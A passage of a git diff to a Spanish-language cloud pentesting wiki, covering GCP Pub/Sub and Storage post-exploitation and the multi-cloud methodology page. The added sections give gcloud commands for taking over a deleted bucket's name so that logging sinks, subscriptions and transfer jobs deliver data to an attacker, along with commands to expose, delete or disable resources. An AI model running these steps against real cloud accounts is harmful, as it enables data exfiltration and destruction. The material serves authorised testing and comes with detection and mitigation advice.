+--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.legacyBucketReader' \ +--project +``` +**Impacto potencial:** exfiltración de mensajes futuros de Pub/Sub archivados en Cloud Storage, incluidos eventos de aplicación, payloads de pipelines fallidos, logs o registros de ingestión del data lake. + +**Detección y mitigación:** alerta sobre la eliminación de buckets usados por suscripciones de Pub/Sub, revisa las suscripciones con `cloudStorageConfig`, vigila errores de entrega seguidos por la recreación del bucket, y limita el acceso destructivo en buckets de archivo de mensajes. + ### `pubsub.subscriptions.setIamPolicy` -Date los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente. +Concédete los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -Adjunta un schema a un topic de modo que los mensajes no lo cumplan y, por tanto, el topic quede interrumpido.\ -Si no hay schemas, puede que necesites crear uno. +Ata un schema a un topic para que los mensajes no lo cumplan y, por lo tanto, el topic quede interrumpido.\ +Si no hay ningún schema, puede que necesites crear uno.
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -Esto podría parecer que al eliminar un schema podrás enviar mensajes que no cumplan con el schema. Sin embargo, como el schema será eliminado, ningún mensaje entrará realmente en el topic. Así que esto es **INÚTIL**: +Esto podría parecer que al eliminar un esquema podrás enviar mensajes que no cumplen con el esquema. Sin embargo, como el esquema será eliminado, ningún mensaje realmente entrará dentro del topic. Así que esto es **USELESS**:
-Eliminar schema (inútil) +Eliminar esquema (no útil) ```bash gcloud pubsub schemas delete ``` @@ -186,15 +219,15 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -Otórgate los permisos necesarios para llevar a cabo cualquiera de los ataques comentados anteriormente. +Otórgate los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -Esto creará un snapshot de todos los mensajes unACKed y los devolverá a la suscripción. No es muy útil para un atacante pero aquí está: +Esto creará un snapshot de todos los mensajes no ACKed y los volverá a poner en la subscription. No es muy útil para un attacker, pero aquí está:
-Crear snapshot y hacer seek al mismo +Crear snapshot y hacer seek a él ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index 0164ea5b1..6c024ebc4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -4,15 +4,15 @@ ## Cloud Storage -Para más información sobre Cloud Storage consulta esta página: +Para más información sobre Cloud Storage, consulta esta página: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### Conceder acceso público +### Dar Acceso Público -Es posible otorgar a usuarios externos (con sesión en GCP o no) acceso al contenido de los buckets. Sin embargo, por defecto la opción para exponer públicamente un bucket estará deshabilitada: +Es posible dar a usuarios externos (con sesión iniciada en GCP o no) acceso al contenido de los buckets. Sin embargo, por defecto el bucket tendrá deshabilitada la opción de exponer públicamente un bucket: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -Si intentas otorgar **ACLs a un bucket con ACLs deshabilitadas** verás este error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +Si intentas dar **ACLs a un bucket con ACLs deshabilitadas** encontrarás este error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -Para acceder a buckets abiertos desde el navegador, accede a la URL `https://.storage.googleapis.com/` o `https://.storage.googleapis.com/` +Para acceder a buckets abiertos vía browser, accede a la URL `https://.storage.googleapis.com/` o `https://.storage.googleapis.com/` ### `storage.objects.delete` (`storage.objects.get`) -Para eliminar un objeto: +Para borrar un object: ```bash gcloud storage rm gs:/// --project= ``` @@ -41,9 +41,41 @@ Para eliminar un bucket: ```bash gcloud storage rm -r gs:// ``` -### Desactivar claves HMAC +### Toma de control global del nombre del bucket de upstream writers -El permiso `storage.hmacKeys.update` permite deshabilitar claves HMAC, y el permiso `storage.hmacKeys.delete` permite a una identidad eliminar claves HMAC asociadas con cuentas de servicio en Cloud Storage. +Los nombres de buckets de Cloud Storage son globalmente únicos. Antes de eliminar un bucket, comprueba si algún servicio automatizado sigue escribiendo en ese bucket por nombre. Si el bucket se elimina y el mismo nombre se recrea en un proyecto controlado por un atacante, upstream writers como Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions o Storage Transfer Service jobs pueden continuar escribiendo datos futuros en el bucket de reemplazo. +```bash +# Cloud Logging sinks using GCS +gcloud logging sinks list --project \ +--format='table(name,destination,writerIdentity)' + +# Pub/Sub subscriptions writing messages into GCS +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Storage Transfer Service jobs +gcloud transfer jobs list --project + +# Delete and reclaim the destination bucket name +gcloud storage rm -r gs:// +gcloud storage buckets create gs:// \ +--project \ +--location +``` +Otorga el acceso de identidad writer relevante al bucket de reemplazo si el servicio upstream lo requiere: +```bash +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Impacto potencial:** exfiltración a largo plazo de logs, messages, transfer outputs, backups o data pipeline artifacts sin modificar el recurso router original. + +**Detección y mitigación:** tratar la eliminación de buckets como de alto riesgo cuando el bucket esté referenciado por sinks/subscriptions/jobs, alertar sobre destinations dangling, restringir `storage.buckets.delete`, y usar retention policies o legal holds para buckets de exportación críticos cuando sea apropiado. + +### Desactivar HMAC Keys + +El permiso `storage.hmacKeys.update` permite deshabilitar HMAC keys, y el permiso `storage.hmacKeys.delete` permite a una identidad eliminar HMAC keys asociadas con service accounts en Cloud Storage. ```bash # Deactivate gcloud storage hmac update --deactivate @@ -54,7 +86,7 @@ gcloud storage hmac delete ### `storage.buckets.setIpFilter` & `storage.buckets.update` El permiso `storage.buckets.setIpFilter`, junto con el permiso `storage.buckets.update`, permite a una identidad configurar filtros de direcciones IP en un bucket de Cloud Storage, especificando qué rangos o direcciones IP pueden acceder a los recursos del bucket. -Para borrar completamente el filtro de direcciones IP, se puede usar el siguiente comando: +Para borrar completamente el filtro IP, se puede usar el siguiente comando: ```bash gcloud storage buckets update gs:// --project= ``` @@ -64,7 +96,7 @@ gcloud storage buckets update gs:// \ --ip-filter-file=ip-filter.json \ --project= ``` -El archivo JSON representa el propio filtro, algo así: +El archivo JSON representa el filtro en sí, algo como: ```bash { "mode": "Enabled", diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index beef32200..32c150c0c 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,44 +1,70 @@ -# Metodología de pentesting en la nube +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}}
-## Metodología básica +## Basic Methodology -Cada nube tiene sus propias peculiaridades pero en general hay algunas **cosas comunes que un pentester debería revisar** al evaluar un entorno en la nube: +Cada cloud tiene sus propias peculiaridades, pero en general hay algunas **cosas comunes que un pentester debería comprobar** al probar un entorno cloud: -- **Comprobaciones de benchmark** -- Esto te ayudará a **entender el tamaño** del entorno y **los servicios utilizados** -- También te permitirá encontrar algunas **misconfiguraciones rápidas**, ya que puedes realizar la mayoría de estas pruebas con **herramientas automatizadas** -- **Enumeración de servicios** -- Probablemente no encontrarás muchas más misconfiguraciones aquí si realizaste correctamente las comprobaciones de benchmark, pero podrías encontrar algunas que no se buscaron en las pruebas de benchmark. -- Esto te permitirá saber **qué se está usando exactamente** en el entorno en la nube +- **Benchmark checks** +- Esto te ayudará a **entender el tamaño** del entorno y los **servicios usados** +- También te permitirá encontrar algunas **quick misconfigurations** ya que puedes realizar la mayoría de estas pruebas con **automated tools** +- **Services Enumeration** +- Probablemente no encuentres muchas más misconfigurations aquí si realizaste correctamente las pruebas de benchmark, pero podrías encontrar algunas que no se estaban buscando en la prueba de benchmark. +- Esto te permitirá saber **qué se está usando exactamente** en el entorno cloud - Esto ayudará mucho en los siguientes pasos -- **Comprobar activos expuestos** -- Esto puede hacerse durante la sección anterior; necesitas **identificar todo lo que potencialmente está expuesto** a Internet de alguna manera y cómo puede ser accedido. -- Aquí me refiero a **infraestructura expuesta manualmente** como instancias con páginas web u otros puertos expuestos, y también a otros **servicios gestionados en la nube que pueden configurarse** para estar expuestos (como DBs o buckets) -- Luego deberías comprobar **si ese recurso puede ser expuesto o no** (¿información confidencial? ¿vulnerabilidades? ¿misconfiguraciones en el servicio expuesto?) -- **Comprobar permisos** -- Aquí deberías **identificar todos los permisos de cada rol/usuario** dentro de la nube y cómo se usan -- ¿Demasiadas cuentas con **privilegios elevados** (controlan todo)? ¿Claves generadas que no se usan?... La mayoría de estas comprobaciones deberían haberse hecho ya en los tests de benchmark -- Si el cliente está usando OpenID o SAML u otra **federación** puede que necesites pedirles más **información** sobre **cómo se asigna cada rol** (no es lo mismo que el rol admin esté asignado a 1 usuario o a 100) -- **No es suficiente encontrar** qué usuarios tienen permisos **admin** "*:*". Hay muchos **otros permisos** que, dependiendo de los servicios usados, pueden ser muy **sensibles**. -- Además, existen **posibles rutas de privesc** que se pueden seguir abusando de permisos. Todas estas cosas deben tenerse en cuenta y **se deben reportar tantos caminos de privesc como sea posible**. -- **Comprobar integraciones** -- Es altamente probable que **se estén usando integraciones con otras nubes o SaaS** dentro del entorno en la nube. -- Para **las integraciones de la nube que estás auditando** con otra plataforma, deberías notificar **quién tiene acceso para (ab)usar esa integración** y deberías preguntar **qué tan sensible** es la acción que se realiza.\ -Por ejemplo, quién puede escribir en un bucket de AWS del cual GCP está obteniendo datos (preguntar qué tan sensible es la acción en GCP al tratar esos datos). -- Para **las integraciones dentro de la nube que estás auditando** desde plataformas externas, deberías preguntar **quién tiene acceso externamente para (ab)usar esa integración** y comprobar cómo se están usando esos datos.\ -Por ejemplo, si un servicio está usando una imagen Docker alojada en GCR, deberías preguntar quién tiene acceso para modificarla y qué información sensible y accesos obtendrá esa imagen cuando se ejecute dentro de una nube AWS. +- **Check exposed assets** +- Esto se puede hacer durante la sección anterior, necesitas **averiguar todo lo que esté potencialmente expuesto** a Internet de alguna manera y cómo se puede acceder. +- Aquí me refiero a infraestructura **manualmente expuesta**, como instances con páginas web u otros ports expuestos, y también a otros **cloud managed services que pueden configurarse** para estar expuestos (como DBs o buckets) +- Luego deberías comprobar **si ese recurso puede exponerse o no** (¿información confidencial? ¿vulnerabilities? ¿misconfigurations en el servicio expuesto?) +- **Check permissions** +- Aquí deberías **averiguar todos los permisos de cada role/user** dentro del cloud y cómo se usan +- ¿Demasiadas cuentas **highly privileged** (controlan todo)? ¿keys generadas que no se usan?... La mayoría de estas comprobaciones ya deberían haberse hecho en las pruebas de benchmark +- Si el cliente está usando OpenID o SAML u otra **federation**, quizá necesites pedirle más **information** sobre **cómo se asigna cada role** (no es lo mismo que el role admin se asigne a 1 user o a 100) +- **No basta con encontrar** qué users tienen permisos de **admin** "\*:\*". Hay muchos **other permissions** que, dependiendo de los servicios usados, pueden ser muy **sensitive**. +- Además, hay **potential privesc** que se pueden seguir abusando de permissions. Todo esto debería tenerse en cuenta y deberían reportarse **as much privesc paths as possible**. +- **Check Integrations** +- Es muy probable que se estén usando **integrations con other clouds or SaaS** dentro del entorno cloud. +- Para las **integrations del cloud que estás auditando** con otra platform, deberías notificar **quién tiene acceso para (ab)usar esa integration** y deberías preguntar **cuán sensitive** es la acción que se está realizando.\ +Por ejemplo, quién puede escribir en un AWS bucket del que GCP está obteniendo data (pregunta cuán sensitive es la acción en GCP tratando esos data). +- Para las **integrations dentro del cloud que estás auditando** desde external platforms, deberías preguntar **quién tiene acceso externo para (ab)usar esa integration** y comprobar cómo se está usando esos data.\ +Por ejemplo, si un service está usando una Docker image alojada en GCR, deberías preguntar quién tiene acceso para modificarla y qué sensitive info y access obtendrá esa image cuando se ejecute dentro de un AWS cloud. -## Herramientas Multi-Cloud +### Hunt autonomous data streams writing to globally-unique storage -Hay varias herramientas que se pueden usar para evaluar diferentes entornos en la nube. Los pasos de instalación y los enlaces se indicarán en esta sección. +Durante la post-exploitation, revisa exports de larga duración como log sinks, subscriptions, replication jobs, Firehose streams y diagnostic settings que escriben en buckets o storage accounts con nombre globally-unique. Si el destino puede eliminarse y el mismo nombre puede recrearse bajo control del atacante, el upstream service podría seguir entregando datos sensibles al replacement destination incluso cuando el atacante no pueda actualizar el router resource en sí. + +Céntrate en esta comprobación en las páginas de servicios relevantes: + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +{{#endref}} + +{{#ref}} +aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +{{#endref}} + +{{#ref}} +azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +{{#endref}} + +## Multi-Cloud tools + +Hay varias tools que se pueden usar para probar diferentes entornos cloud. Los pasos de instalación y los links se indicarán en esta sección. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Una herramienta para **identificar malas configuraciones y rutas de privesc en nubes y entre nubes/SaaS.** +Una tool para **identificar bad configurations y privesc path en clouds y across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Soporta **AWS, GCP & Azure**. Consulta cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Soporta **AWS, GCP y Azure**. Revisa cómo configurar cada proveedor en [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -115,7 +141,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Install" }} +{{#tab name="Instalar" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -168,9 +194,9 @@ steampipe check all ```
-Comprobar todos los proyectos +Revisar todos los Projects -Para comprobar todos los proyectos necesitas generar el archivo `gcp.spc` indicando todos los proyectos a probar. Puedes seguir las indicaciones del siguiente script +Para revisar todos los projects necesitas generar el archivo `gcp.spc` indicando todos los projects a probar. Puedes seguir las indicaciones del siguiente script ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Para comprobar **otros GCP insights** (útiles para enumerar servicios) utilice: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Para comprobar **otros insights de GCP** (útil para enumerar servicios) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Para revisar código Terraform de GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Para comprobar código Terraform de GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -Más plugins de GCP para Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Más plugins de GCP de Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Para revisar el código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Más plugins AWS de Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Requiere python2.7 y parece no estar mantenido. +Requiere python2.7 y parece no mantenido. ### Nessus -Nessus tiene un escaneo _**Audit Cloud Infrastructure**_ que soporta: AWS, Azure, Office 365, Rackspace, Salesforce. Se necesitan algunas configuraciones adicionales en **Azure** para obtener un **Client Id**. +Nessus tiene un escaneo _**Audit Cloud Infrastructure**_ compatible con: AWS, Azure, Office 365, Rackspace, Salesforce. Se necesitan algunas configuraciones extra en **Azure** para obtener un **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist es una **herramienta multi-cloud para obtener activos** (nombres de host, direcciones IP) de proveedores de nube. +Cloudlist es una herramienta **multi-cloud para obtener Assets** (Hostnames, IP Addresses) de Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +291,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography es una herramienta en Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista de grafo intuitiva impulsada por una base de datos Neo4j. +Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista de grafo intuitiva impulsada por una base de datos Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más, en una vista de grafo intuitiva respaldada por la base de datos Neo4j. +Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura cloud, aplicaciones SaaS, controles de seguridad y más, en una vista de grafo intuitiva respaldada por la base de datos Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +387,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Detecta los usuarios más privilegiados en el entorno AWS o Azure escaneado, incluyendo los AWS Shadow Admins. Utiliza powershell. +Descubre los usuarios con más privilegios en el entorno AWS o Azure analizado, incluidos los AWS Shadow Admins. Usa powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,15 +398,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Una herramienta para encontrar la infraestructura de una empresa (objetivo), archivos y apps en los principales proveedores de nube (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Una herramienta para encontrar la infraestructura, archivos y apps de una empresa (objetivo) en los principales proveedores cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox es una herramienta para encontrar rutas de ataque explotables en la infraestructura en la nube (actualmente solo soporta AWS & Azure, con GCP próximamente). +- CloudFox es una herramienta para encontrar rutas de ataque explotables en infraestructura cloud (actualmente solo se soporta AWS y Azure, con GCP próximamente). - Es una herramienta de enumeración destinada a complementar el pentesting manual. -- No crea ni modifica ningún dato dentro del entorno en la nube. +- No crea ni modifica ningún dato dentro del entorno cloud. -### More lists of cloud security tools +### Más listas de herramientas de seguridad cloud - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -410,7 +436,7 @@ aws-security/ azure-security/ {{#endref}} -## Common Cloud Security Features +## Funciones comunes de seguridad cloud ### Confidential Computing @@ -418,4 +444,11 @@ azure-security/ confidential-computing/luks2-header-malleability-null-cipher-abuse.md {{#endref}} +## Referencias + +- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/) +- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2) +- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html) +- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings) + {{#include ../banners/hacktricks-training.md}}